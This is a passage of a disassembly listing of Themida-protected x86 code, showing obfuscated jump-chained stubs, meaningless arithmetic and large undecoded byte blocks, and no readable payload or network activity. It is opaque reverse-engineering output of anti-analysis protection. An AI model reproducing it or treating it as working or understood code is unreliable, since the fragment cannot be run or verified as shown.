dd 24143324h, 0FF7C29E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F905: ; CODE XREF: Themida_:0055B6A3j
mov [esp], ebx
jmp loc_5568DB
; ---------------------------------------------------------------------------
db 58h, 80h, 0C1h
dd 0CCC180EFh, 0FF8569E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F919: ; CODE XREF: Themida_:005596A0j
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55F80F
; ---------------------------------------------------------------------------
db 5Eh, 8Fh, 4
dd 0FF665C24h, 0E99C2404h, 0FFFF84F9h, 0E9C60159h, 0FFFFF998h
dd 5A2434FFh, 815D5455h, 4C5h, 0C477E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F94E: ; CODE XREF: Themida_:0055854Dj
push edx
mov edx, 0B7D30FFDh
jmp loc_557354
; ---------------------------------------------------------------------------
loc_55F959: ; CODE XREF: Themida_:0055812Ej
push edx
mov edx, 7EDF77DAh
xor ecx, edx
pop edx
mov edx, ecx
jmp loc_55672F
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0FFFB50E9h, 4C483FFh, 0FFB972E9h, 148B5BFFh, 0E3895324h
dd 4C381h, 0B9510000h, 4, 0E58EB81h, 0CB017DF7h, 0E58C381h
dd 0C8B7DF7h, 4C48324h, 5C241C87h, 5C243C87h, 4BB0F66h
dd 1BE99C24h
db 4Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F9B3: ; CODE XREF: Themida_:0055B920j
mov edx, ecx
push dword ptr [esp]
pop ecx
jmp loc_55560C
; ---------------------------------------------------------------------------
loc_55F9BE: ; CODE XREF: Themida_:0055E1B9j
xor edx, edi
pop edi
push 6819h
jmp loc_560A00
; ---------------------------------------------------------------------------
db 50h
dd 0BF57E089h, 25372441h, 0FFCF76E9h, 81DBF7FFh, 8881B8EBh
dd 0FFDF01CDh, 815B2434h, 4C4h, 2C78100h, 33000000h, 3C31243Ch
dd 243C3324h, 6624248Bh, 8124048Bh, 4ECh, 242C8900h, 4EC81h
dd 24890000h, 0ECA6E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FA1A: ; CODE XREF: Themida_:00555C0Bj
push ebx
mov bh, 51h
push edx
mov dl, bh
jmp loc_55E09D
; ---------------------------------------------------------------------------
db 5Ch, 0Bh, 0C0h
dd 0D3DC840Fh, 0E950FFFFh, 0E2h, 0D830EAB0h, 0E9C7285Bh
dd 0FFFFA940h
; ---------------------------------------------------------------------------
loc_55FA40: ; CODE XREF: Themida_:0055E5C2j
sub esp, 4
mov [esp], ebp
mov ebp, 4
sub edi, 30A01084h
sub edi, ebp
add edi, 30A01084h
pop ebp
xchg edi, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
pop eax
jmp loc_55E90F
; ---------------------------------------------------------------------------
loc_55FA6A: ; CODE XREF: Themida_:00559EFEj
pop ebp
pop dword ptr [esp]
jmp loc_5564B7
; ---------------------------------------------------------------------------
db 5Ch
dd 0FFF842E9h, 92BE56FFh, 8124DF2Dh, 0FFFFFFEEh, 91BA52FFh
dd 3124DF2Dh, 4E95AD6h
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FA93: ; CODE XREF: Themida_:00556209j
mov edi, 49183C37h
add edx, edi
pop edi
push ebx
mov ebx, 775C2231h
sub ebx, 0FA2DC9B6h
or edx, ebx
pop ebx
xor edx, 0FDEFDB7Bh
add edi, edx
pop edx
xchg edi, [esp]
pop esp
shr eax, 0Ah
xor eax, ecx
jmp loc_559360
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 0FF54DCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FAC9: ; CODE XREF: Themida_:005572EEj
mov [esp], ebx
push 80C78DFh
mov ebx, [esp]
add esp, 4
shl ebx, 3
jmp loc_560A0D
; ---------------------------------------------------------------------------
loc_55FADF: ; CODE XREF: Themida_:00556EA9j
and ecx, 644E51EEh
push esi
mov esi, 2208Ch
xor ecx, esi
pop esi
mov ebp, ecx
pop ecx
jmp loc_55C140
; ---------------------------------------------------------------------------
loc_55FAF6: ; CODE XREF: Themida_:0055CEF9j
mov eax, 8B54EA7h
jmp loc_5597E9
; ---------------------------------------------------------------------------
loc_55FB00: ; CODE XREF: Themida_:005593B4j
sub esi, 2
xchg esi, [esp]
pop esp
mov [esp], dx
jmp loc_55B477
; ---------------------------------------------------------------------------
dd 0A178E955h, 0FEB8FFFFh, 21000000h, 48B1C47h, 0A3E95024h
dd 0BEFFFF54h, 29B63759h, 0ACE0CAB9h, 0E9F1010Ch, 0FFFFA556h
dd 229A05ADh, 0E052367h, 5551464Ch, 5D7BFEBDh, 0CD814D2Ch
dd 36145860h, 4E5C14Dh, 5E9D5F7h, 50FFFF89h, 42474FFh
dd 24048F58h, 0E924248Bh, 0FFFF65A1h, 0BF7DB4B8h, 58C3210Dh
dd 0CBD4C381h, 0E981F37Eh, 6B431D0h, 0FF7041E9h, 74FF55FFh
dd 0C0E90424h, 66FFFF84h, 6824048Bh, 3919h, 0E9243C89h
dd 0FFFF6687h, 0FF2434FFh, 53E92434h
db 78h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FBAB: ; CODE XREF: Themida_:0055E3FFj
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
jmp loc_555488
; ---------------------------------------------------------------------------
db 81h
dd 41A73CEFh, 0AC8BE98Fh, 0F300FFFFh, 0E4A0E95Ah, 0E95AFFFFh
dd 0FFFFA3C1h, 0CFE9C201h, 81FFFF8Ah, 4C2h, 0C7FCE900h
dd 0C781FFFFh, 4, 4C781h, 3C870000h, 0D76DE924h, 0E189FFFFh
dd 4B850h, 0E9810000h, 482878D4h, 0C181C101h, 482878D4h
dd 4C18358h, 8B240C87h, 0E9572424h, 0FFFFDC6Dh, 0C7E3E953h
dd 0C281FFFFh, 5A29FB18h, 0BB5AD189h, 87456CFEh, 97E9CB29h
dd 59FFFFACh, 0FFF483E9h, 4C083FFh, 8B240487h, 0FF532424h
dd 34FF2434h, 0B8685B24h, 89000074h, 5AE9242Ch, 0FFFFFF9Eh
dd 7FE92434h, 5FFFFFA3h, 0FF61C8E9h, 4BAFFh, 0C3810000h
dd 6A873A76h, 82E9D301h, 66FFFF4Dh, 0E9240C8Bh, 0FFFFFC30h
; ---------------------------------------------------------------------------
loc_55FC90: ; CODE XREF: Themida_:0055B6D8j
add esi, 29212EC2h
add esi, 27D4801h
add esi, 4FF90EC1h
jmp loc_55722B
; ---------------------------------------------------------------------------
loc_55FCA7: ; CODE XREF: Themida_:0055CCDCj
mov ebx, 4
sub esi, 12D52E55h
sub esi, ebx
jmp loc_55DD60
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0CBh
dd 81207803h, 910885EAh, 51F22906h, 910885B9h, 59CA0106h
dd 3CBEA81h, 348B2078h, 4C48124h, 52000000h, 42474FFh
dd 8124148Bh, 4C4h, 24048F00h, 241C895Ch, 687068h, 24148900h
dd 59EAE954h, 0EC83FFFFh, 24048904h, 0FF5889E9h, 1CF755FFh
dd 242C8B24h, 0E904C483h, 0FFFFA4DBh
; ---------------------------------------------------------------------------
loc_55FD1C: ; CODE XREF: Themida_:0055BCDDj
mov edi, 6D844C11h
and edi, 27F935F3h
sub edi, 42A76A90h
sub edi, 6396739Eh
or edx, edi
pop edi
push ebx
mov ebx, 7FFA25FAh
sub edx, ebx
pop ebx
push 53E1h
mov [esp], ebp
mov ebp, edx
mov esi, ebp
pop ebp
pop edx
and eax, esi
pop esi
or edx, eax
jmp loc_5581FE
; ---------------------------------------------------------------------------
loc_55FD57: ; CODE XREF: Themida_:0055C18Aj
xchg edx, [esp]
mov esp, [esp]
push 1D38h
jmp loc_55FFCB
; ---------------------------------------------------------------------------
db 89h
dd 730068E0h, 1C890000h, 0B1BD5524h, 816A2C0Ah, 5C6460C5h
dd 0E9EDD111h, 0FFFFD099h, 83CB8953h, 48904ECh, 89D88924h
dd 8C6FE9C6h, 8853FFFFh, 4EC81E3h, 0E9000000h, 0FFFFE3F8h
dd 0DFF6D7F6h, 83BC780h, 0FCE95BFDh
db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FDB3: ; CODE XREF: Themida_:00558864j
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
loc_55FDC1: ; CODE XREF: Themida_:00559DC9j
push 7D19h
jmp loc_55DCBF
; ---------------------------------------------------------------------------
db 29h
dd 0B3ACE9C8h, 0CFB1FFFFh, 5AF130h, 0E82859C8h, 0C8B572Ch
dd 69C86824h, 14890000h, 815A5424h, 4ECh, 243C8900h, 4BFh
dd 5FFA0100h, 3304C283h, 0F3E92414h, 89FFFFFAh, 0E9EA89FDh
dd 0FFFFD523h, 4BFh, 5FADE900h, 0D831FFFFh, 6C6868h, 0BEE6E900h
dd 8B66FFFFh, 0F1682404h, 8900006Dh, 0E389241Ch, 0FFF68FE9h
dd 241C8BFFh, 8304C483h, 0EC8304C4h, 24048904h, 353410B0h
dd 58C300h, 98B151E3h, 804DE180h, 4EE997E1h, 64FFFF7Ch
dd 0E9028966h, 0FFFF4A66h, 8304C483h, 0C8702C1h, 0D3665C24h
dd 0E99C242Ch, 0FFFF4A52h, 0F7885350h, 525BF888h, 0F788C688h
dd 0BFE9585Ah
db 7Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FE8F: ; CODE XREF: Themida_:00557CBEj
push ebp
mov ebp, 5DDF7FF2h
jmp loc_557B26
; ---------------------------------------------------------------------------
dw 8F64h
dd 0DB50E902h, 27E9FFFFh, 81FFFF4Ah, 0A26F81C7h, 96DFE927h
dd 0BA52FFFFh, 2, 875AD101h, 248B240Ch, 48B6624h, 5F545724h
dd 4C781h, 89560000h, 4C681E6h, 83000000h, 348704EEh, 14895C24h
dd 148B5424h, 0C54E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FEEA: ; CODE XREF: Themida_:0055C2D0j
push edx
mov edx, 65276C9Ch
shr edx, 6
jmp loc_55A698
; ---------------------------------------------------------------------------
dd 0E9240C31h, 0FFFF5AAAh, 9D1C77FFh, 1CD35966h, 0BFE99C24h
dd 0BBFFFF49h, 1BE356E0h, 348BF301h, 4C48124h, 29000000h
dd 241C8BDEh, 4C481h, 0FE90000h, 68FFFF5Dh, 281D5696h
dd 0FFF0DAE9h, 4C483FFh, 55E68956h, 11151CBDh, 0CBD5E902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FF4A: ; CODE XREF: Themida_:00557D25j
push eax
mov eax, 2
add edi, 75E7AF9h
sub edi, eax
sub edi, 75E7AF9h
mov eax, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], cx
jmp loc_5548CE
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0F7D1F700h, 0EEF181D1h, 0E91C1971h, 0FFFFAE53h
dd 272468h, 241C8900h, 0DE88EB88h, 835B595Bh, 8BE904ECh
dd 0BAFFFF91h, 33896E88h, 3C8BFA31h, 4C48324h, 0B95AD789h
dd 9F72A8B5h, 0F75FF929h, 5FD9E9D1h, 489FFFFh, 0CDE95624h
db 56h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FFCB: ; CODE XREF: Themida_:0055FD62j
mov [esp], edi
mov edi, 400h
jmp loc_55E34F
; ---------------------------------------------------------------------------
dword_55FFD8 dd 0E9240489h, 0FFFF8B5Dh, 6692C681h, 0C68179B9h, 7EAF6534h
dd 0EE81C601h, 7EAF6534h, 6692B850h, 0C62979B9h, 779AE958h
dd 4D5EFFFFh, 3284B850h, 0A20521DBh, 0C1682A60h, 0D0F702E8h
dd 0C7FD6535h, 58C521EEh, 19D7ED81h, 0E5813774h, 4E1C1DACh
dd 824ED81h, 0EF014C14h, 5D2434FFh, 0FFAD6CE9h, 0B60F66FFh
db 0C8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
sub esp, 4
push esp
jmp loc_55BAC8
; ---------------------------------------------------------------------------
db 5Ch
dd 66D68h, 240C8900h, 47AA6851h, 3C890000h, 6A5E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_560076: ; CODE XREF: Themida_:0055C983j
pop eax
xor eax, 30D267DEh
push dword ptr [esp]
jmp loc_55E163
; ---------------------------------------------------------------------------
dd 5504C483h, 0CA3A43BDh, 0F8C58154h, 0C147E561h, 814507E5h
dd 0BD1096C5h, 5DEB2916h, 28D1BF57h, 0FB0155C8h, 0D0C3815Fh
dd 17B0B5Dh, 22B850C3h, 353AA876h, 145073D4h, 0A9475E0Dh
dd 8980E956h, 0E189FFFFh, 745168h, 241C8900h, 0FF9B29E9h
dd 37CB2DFFh, 442D1FC6h, 29184104h, 77E952D8h, 5DFFFF88h
dd 5F307A89h, 0E9C39D61h, 0FFFF8180h
; ---------------------------------------------------------------------------
loc_5600F4: ; CODE XREF: Themida_:00555151j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_558862
; ---------------------------------------------------------------------------
db 0B4h
dd 0AEEC80ADh, 48BE328h, 4C48324h, 0FF66CFE9h, 238BBAFFh
dd 4EE971DDh
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560127: ; CODE XREF: Themida_:0055A6D3j
mov [esp], edx
jmp loc_5592FF
; ---------------------------------------------------------------------------
loc_56012F: ; CODE XREF: Themida_:0055E8F0j
dec ebp
add ebp, 228E115Dh
inc ebp
dec ebp
push ecx
mov ecx, 42F572C1h
sub ebp, 1F8D4913h
sub ebp, ecx
add ebp, 1F8D4913h
pop ecx
shr ebp, 4
push edx
mov edx, 57501C7h
sub ebp, edx
pop edx
jmp loc_5599E8
; ---------------------------------------------------------------------------
dw 575Ch
dd 2BFh, 0E9FA0100h, 0FFFF8BDAh, 8BC3295Eh, 76E92404h
dd 53FFFF9Dh, 0C381E389h, 4, 4C381h, 1C870000h, 0DF2C5C24h
dd 0C8002404h, 0FFBDC9E9h, 0D830ACFFh, 4E5E68h, 241C8900h
dd 0FF8DEFE9h, 48B66FFh, 4EC8124h, 89000000h, 76E9240Ch
db 72h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5601B7: ; CODE XREF: Themida_:00557CCBj
add eax, 266656E8h
sub eax, edx
sub eax, 266656E8h
xchg eax, edx
pop eax
xor edx, 0D9A4B072h
sub [edi+24h], edx
pop edx
loc_5601CF: ; CODE XREF: Themida_:0055C145j
sub esp, 4
mov [esp], esi
jmp loc_55DC2A
; ---------------------------------------------------------------------------
loc_5601DA: ; CODE XREF: Themida_:00560B25j
mov [esp], ebx
sub esp, 4
mov [esp], esi
mov esi, 774E602Ch
xor [esp+4], esi
jmp loc_555525
; ---------------------------------------------------------------------------
dd 4669BA52h, 0E9577ED9h, 0FFFFAB92h, 4EF815Bh, 87000000h
dd 895C243Ch, 0E9542404h, 0FFFFE7B5h, 592434FFh, 5204C483h
dd 0C281E289h, 4, 4C281h, 14870000h, 0C1815C24h, 4, 2C181h
dd 0C330000h, 9BEDE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560242: ; CODE XREF: Themida_:0055C390j
push edi
mov edi, 47BC525Ch
inc edi
xor edi, 688B54B2h
or edi, 72103851h
jmp loc_557959
; ---------------------------------------------------------------------------
loc_56025A: ; CODE XREF: Themida_:0055DCC8j
mov [esp], ebx
mov ebx, esp
jmp loc_5605FE
; ---------------------------------------------------------------------------
dd 0B20204BFh, 76E7811Dh, 81236271h, 820D16CFh, 47E7D116h
dd 4FDFC781h, 0C7817EE4h, 51D795F8h, 5AE9FA01h, 66FFFFB0h
dd 83240C8Bh, 3C8904ECh, 540D6824h, 8F540000h, 4812404h
dd 424h, 0D0E95F00h, 0C0FFFF8Ah, 46E904E5h, 0B9FFFF8Eh
dd 2FC824DEh, 0FF8438E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5602BD: ; CODE XREF: Themida_:0055DE21j
mov ecx, ebx
jmp loc_558D1D
; ---------------------------------------------------------------------------
dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFF63E8h, 535FFA29h
dd 2F0201BBh, 0B0C38137h, 0E9DF0740h, 0FFFFBFE9h, 6D37C381h
dd 0E3C10616h, 0E9D3F706h, 0FFFFEDDAh, 5251D82Ch, 0B6B4B450h
dd 58E62838h, 0DAE2E952h, 48FFFFFh, 678EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560316: ; CODE XREF: Themida_:0055B204j
add ebx, 4
push edx
jmp loc_558D97
; ---------------------------------------------------------------------------
dw 0E953h
dd 0FFFF6275h
; ---------------------------------------------------------------------------
loc_560328: ; CODE XREF: Themida_:00554A41j
pop esp
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
push ebp
mov ebp, 63153D0Bh
sub ebp, 465DD0F4h
jmp loc_55B456
; ---------------------------------------------------------------------------
db 59h, 8Fh, 4
dd 24248B24h, 5F241489h, 8324148Bh, 0FDE904C4h, 0ACFFFFD0h
dd 208B68h, 240C8900h, 0C82859B1h, 52240C8Bh, 0C281E289h
dd 4, 4EA81h, 14870000h, 4895C24h, 55E08924h, 36257BDh
dd 5C67E906h, 3C31FFFFh, 243C3324h, 2404205Ch, 4528E99Ch
dd 0F581FFFFh, 0C32D04B6h, 0E95DE889h, 0FFFFB781h, 8B2434FFh
dd 71E92404h, 81FFFF88h, 1C2h, 0E2814A00h, 2B867580h, 6004F281h
dd 0D3012286h, 8124148Bh, 4C4h, 0EBE5600h, 810D9D79h, 9B1B55CEh
dd 0A3C68172h, 1806084h, 24348BF3h, 0FF9D7AE9h, 2434FFFFh
dd 0E389535Fh, 4C381h, 0C3810000h, 4, 5C241C87h, 0FF45A1E9h
dd 24248BFFh, 0F66F1F6h, 6866CCB6h, 89667C44h, 0F66240Ch
dd 0ADE9C8B6h, 5BFFFFE8h, 0FF638DE9h, 240433FFh, 0B247E95Ch
dd 8966FFFFh, 87E92404h, 1FFFF44h, 0C7815AD7h, 4, 0FFE2CEE9h
dd 24248BFFh, 9CC88566h, 0FF446DE9h, 241487FFh, 6E3815Ch
dd 0E9539520h, 0FFFF6457h, 2414335Ch, 0FF6C3DE9h, 242C8BFFh
dd 8104C483h, 4C5h, 4C58100h, 55000000h, 42474FFh, 51242C8Bh
dd 5FE9E189h
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56049B: ; CODE XREF: Themida_:005604F3j
pop edi
jmp loc_55E8FD
; ---------------------------------------------------------------------------
loc_5604A1: ; CODE XREF: Themida_:00555F81j
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
jmp loc_55E3FE
; ---------------------------------------------------------------------------
db 56h, 89h, 0E6h
dd 4C681h, 0EE810000h, 4, 0E9243487h, 0FFFFA36Eh, 7150EE81h
dd 15B555Bh, 0C6685EF2h, 8900002Eh, 2B9240Ch, 1000000h
dd 148759CAh, 4005C24h, 0E3E99C24h
db 43h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5604EB: ; CODE XREF: Themida_:00556D58j
sub edi, 0EEB747CBh
sub eax, edi
jmp loc_56049B
; ---------------------------------------------------------------------------
dd 4EA9E95Ah, 1C89FFFFh, 0FB324h, 33685BD8h, 8900003Fh
dd 0DCB1240Ch, 0C980C1FEh, 52D1F644h, 0EAC0E2B2h, 0E4B55102h
dd 0FFB90AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560525: ; CODE XREF: Themida_:0055E5DDj
not eax
inc eax
sub eax, offset dword_461244
add ebx, eax
mov eax, [esp]
add esp, 4
push ecx
jmp loc_55D02C
; ---------------------------------------------------------------------------
dw 74FFh
dd 6E90424h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560547: ; CODE XREF: Themida_:00558305j
add eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_55B691
; ---------------------------------------------------------------------------
db 59h
dd 6A05E801h, 0FF77CC21h, 835D2434h, 0B26804C4h, 8900005Eh
dd 0F68241Ch, 8B5B8C55h, 0C483241Ch, 0FFEB8304h, 4BBAE381h
dd 0FF5311BFh, 565B240Ch, 8188E952h, 2DADFFFFh, 4BC81087h
dd 0C813E12Dh, 52D00520h, 0D8017AC2h, 0C252D02Dh, 13E1057Ah
dd 0EC8320C8h, 243C8904h, 825EF1BFh, 9B67E971h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5605BA: ; CODE XREF: Themida_:00555D69j
add esp, 4
push edx
jmp loc_55E558
; ---------------------------------------------------------------------------
loc_5605C6: ; CODE XREF: Themida_:00556ACBj
inc edx
neg edx
dec edx
dec edx
jmp loc_55521B
; ---------------------------------------------------------------------------
dd 68241489h, 249C3586h, 6BF2815Ah, 81144459h, 0D86CEFF2h
dd 5AD78930h, 0E95FFA01h, 0FFFF8B2Fh, 53241489h, 8851CF88h
dd 0F98EE9FDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5605FE: ; CODE XREF: Themida_:0056025Fj
push 58BEh
mov [esp], ecx
jmp loc_55F520
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483240Ch, 24048F04h, 6B8EE95Ch, 0C781FFFFh, 2, 31243C33h
dd 3C33243Ch, 24248B24h, 240C8B66h, 6F9868h, 24048900h
dd 6A31E954h, 34FFFFFFh, 0CCD9E924h, 0EE81FFFFh, 5CBE64F8h
dd 815EF709h, 5422BC7h, 5FF889A8h, 48BC601h, 4C48124h
dd 68000000h, 0E0h, 0FF243489h, 0E9042474h, 0FFFFD103h
dd 79A1BA52h, 0D12918C7h, 0F3C2815Ah, 1016F22h, 0F3EA81CAh
dd 59016F22h, 0E9241433h, 0FFFFB819h, 25F58058h, 2874B551h
dd 0A232E9E8h, 3489FFFFh, 0E4C4E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5606AA: ; CODE XREF: Themida_:0055B564j
mov esp, [esp]
or ebx, ebx
jnz loc_55D67C
push edx
push 3867h
mov [esp], edi
jmp loc_554954
; ---------------------------------------------------------------------------
db 0BDh
dd 1B4341A6h, 4FE9E829h, 83FFFFA8h, 1C8904ECh, 63685724h
dd 5F37823Ch, 0FF6CC8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5606E1: ; CODE XREF: Themida_:0055A3B2j
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55E5C7
; ---------------------------------------------------------------------------
dd 0FE51B450h, 3BF480CCh, 0C077CC80h, 0EC8006E4h, 0E9E1008Ch
dd 0FFFFF1F9h
; ---------------------------------------------------------------------------
loc_560714: ; CODE XREF: Themida_:0055C68Bj
add ebp, eax
jmp loc_55D958
; ---------------------------------------------------------------------------
db 68h
dd 37F716CCh, 0BB53505Fh, 2E7B60B7h, 242C8153h, 47FF120Ch
dd 120C0558h, 1C8B47FFh, 4C48124h, 0E9000000h, 0FFFFE5D8h
dd 0E951E801h, 0FFFFE7DCh, 0E9240C8Bh, 0FFFF734Eh, 0F010A8B8h
dd 54D8255Ch, 2EE956FBh, 1FFFF64h, 148759CAh, 0C5055C24h
db 78h, 0A9h, 0Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 3FFEh
jmp loc_55A4CE
; ---------------------------------------------------------------------------
dd 6B25E95Ch, 0C681FFFFh, 155B1C84h, 0C15EF189h, 0F18103E9h
dd 1AAD5A2Bh, 0FFFEDBE9h, 0E9D801FFh, 0FFFF433Ah, 0C002EFC0h
dd 0C78002E7h, 5BFC30AEh, 0FFC530E9h, 0E9E2B1FFh, 0FFFF789Dh
; ---------------------------------------------------------------------------
loc_5607B8: ; CODE XREF: Themida_:0055BA6Cj
add ecx, edx
pop edx
shl ecx, 4
jmp loc_558F5F
; ---------------------------------------------------------------------------
db 59h
dd 204EB951h, 0C981604Dh, 3C8C50FDh, 0FFC4EBE9h, 0E9EBD1FFh
dd 0FFFFCEBEh, 8106E1C1h, 0BB3715C1h, 0CCC18154h, 0E914BD38h
dd 0FFFFEBD5h, 34FF595Ah, 24048B24h, 0FFED9EE9h, 0E9DE29FFh
dd 0FFFFFCC0h
; ---------------------------------------------------------------------------
loc_560804: ; CODE XREF: Themida_:00555657j
pop ecx
jmp loc_556327
; ---------------------------------------------------------------------------
dw 0E189h
dd 4C181h, 0C1810000h, 4, 5C240C87h, 8704C083h, 248B2404h
dd 2434FF24h, 4EC8158h, 89000000h, 0DF682414h, 89000051h
dd 55522424h, 852DB968h, 0C5815D3Ah, 53EB24FCh, 0AD4FC581h
dd 0EA89718Fh, 0FFA48DE9h, 240C87FFh, 0E924248Bh, 0FFFFB3A8h
dd 0DDC6E95Ah, 0C381FFFFh, 4, 4C381h, 1C330000h, 241C3124h
dd 5C241C33h, 49685753h, 5F64590Eh, 444FC781h, 0EF817DCDh
dd 0D3710FB7h, 0FFA170E9h, 2100BDFFh, 6EE919CFh, 8BFFFFF4h
dd 0C483241Ch, 91B4E904h, 0BE56FFFFh, 754A6A60h, 7F5FC681h
dd 0F681157Dh, 657F3D1Eh, 0E79FEE81h, 0F231305Ah, 0FF62B2E9h
dd 2C875EFFh, 24248B24h, 24048B66h, 7E3468h, 24348900h
dd 2434FF54h, 0FF8FDCE9h, 0F5B151FFh, 0CAE95066h, 68FFFFCEh
dd 34F0h, 68240C89h, 713Dh, 24048F54h, 4240483h, 0FFA713E9h
dd 5DE801FFh, 0FF6CEFE9h, 0B850FFh, 252D365Eh, 203C5446h
dd 0FFBAD4E9h, 6BE94AFFh, 0B8FFFFB9h, 42A82855h, 5B15C681h
dd 0C6290859h, 5B15EE81h, 48B0859h, 4C48124h, 55000000h
dd 88768h, 24048900h, 0FFADADE9h, 79B6BBFFh, 0E3C120EFh
dd 0DF62E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56095E: ; CODE XREF: Themida_:00559408j
add esp, 4
not eax
xchg eax, edi
push 7AF1h
mov [esp], eax
push 1C7Fh
mov [esp], edi
mov eax, [esp]
jmp loc_559CD2
; ---------------------------------------------------------------------------
db 81h
dd 0F38EEAF6h, 5EF209E7h, 1BE9DAF7h, 66FFFF84h, 7FC0E9ADh
dd 0F801FFFFh, 56243C8Bh, 0C681E689h, 4, 4C681h, 34870000h
dd 992D5C24h, 1525474h, 749905D8h, 0EC835254h, 242C8904h
dd 782686BDh, 2BB5353h, 0E9560856h, 0FFFFA606h
; ---------------------------------------------------------------------------
loc_5609D0: ; CODE XREF: Themida_:00557ED1j
mov edx, [esp]
add esp, 4
shr eax, 0Eh
xor eax, ecx
jmp loc_555741
; ---------------------------------------------------------------------------
dd 33243431h, 34312434h, 3EE0E924h, 0CDFEFFFFh, 8E8ED80h
dd 0B45059EAh, 0E9E2284Fh, 0FFFFC498h
; ---------------------------------------------------------------------------
loc_560A00: ; CODE XREF: Themida_:0055F9C6j
mov [esp], eax
mov eax, 61101E0Bh
jmp loc_555D30
; ---------------------------------------------------------------------------
loc_560A0D: ; CODE XREF: Themida_:0055FADAj
add ebx, 3C0B6D99h
mov ecx, ebx
pop ebx
xor ecx, edx
pop edx
jmp loc_55870E
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48124h, 0E9000000h, 0FFFF6365h, 19E95451h, 88FFFFFDh
dd 0E5C05AF5h, 49C58002h, 0E942CD80h, 0FFFFDFCCh, 0C581E589h
dd 4, 4C581h, 2C870000h, 3E8FE924h, 3C87FFFFh, 24248B24h
dd 51C8AF0Fh, 3E64E99Ch, 5452FFFFh, 54E9505Ah, 0F7FFFF8Fh
dd 2C8B241Ch, 4C48124h, 81000000h, 5ADC32C5h, 5DEB8933h
dd 0FF3E41E9h, 24048BFFh, 0FF54A5E9h, 0E78957FFh, 4C781h
dd 0B9510000h, 3B7C4B3Ah, 0FF800EE9h, 0C68159FFh, 1435659Fh
dd 0EE81CE01h, 1435659Fh, 24343359h, 0FFB889E9h, 4875EFFh
dd 0EC835C24h, 24148904h, 0AE88FC68h, 95DDE977h, 3433FFFFh
dd 24343124h, 0E9243433h, 0FFFFEF8Fh, 83240C8Bh, 0ED8304C4h
dd 2BF58101h, 513CC1F5h, 384AE2B9h, 3CC18150h, 41501340h
dd 0FF662AE9h, 248B66FFh, 3DC0E924h, 0E95DFFFFh, 0FFFF3DBAh
; ---------------------------------------------------------------------------
loc_560B14: ; CODE XREF: Themida_:0055D6E7j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
loc_560B20: ; CODE XREF: Themida_:0055D256j
push 3CEAh
jmp loc_5601DA
; ---------------------------------------------------------------------------
dw 9FB9h
dd 0E93F2C46h, 0FFFF41A5h, 24043166h, 3D90E99Ch, 0C481FFFFh
dd 4, 4C281h, 0B8500000h, 4, 0E958C229h, 0FFFF57E3h, 916D212Dh
dd 5F82914h, 14916D21h, 0C0835F5Fh, 24048702h, 0F624248Bh
dd 0B60F66F9h, 8B78E9CCh, 0B068FFFFh, 89000024h, 95E92414h
dd 29FFFF98h, 72E95AD1h, 0C0FFFF75h, 0CD8003E5h, 0F6DDF656h
dd 76ED80D5h, 0C8BEB28h, 4C48124h, 51000000h, 0EB00BDB5h
dd 0C0B60F59h, 87048F66h, 0FF3D15E9h, 0F6DEF6FFh, 48C680DEh
dd 0FF6086E9h, 0C8B66FFh, 2EF06824h, 0C890000h, 0B01AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560BD6: ; CODE XREF: Themida_:0055858Aj
and eax, esi
pop esi
